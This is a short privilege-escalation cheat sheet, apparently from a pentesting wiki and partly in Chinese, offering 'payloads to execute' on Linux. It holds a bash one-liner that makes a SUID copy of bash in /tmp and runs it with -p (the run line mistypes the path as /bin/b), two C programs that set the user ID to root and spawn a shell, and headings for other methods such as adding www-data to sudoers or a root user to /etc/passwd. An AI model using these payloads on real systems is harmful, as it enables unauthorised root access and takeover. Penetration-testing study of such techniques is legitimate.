Payloads to execute
Bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntuC
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}覆盖文件以提升权限
常见文件
覆盖库
脚本
将 www-data 添加到 sudoers
更改 root 密码
将新的root用户添加到/etc/passwd
最后更新于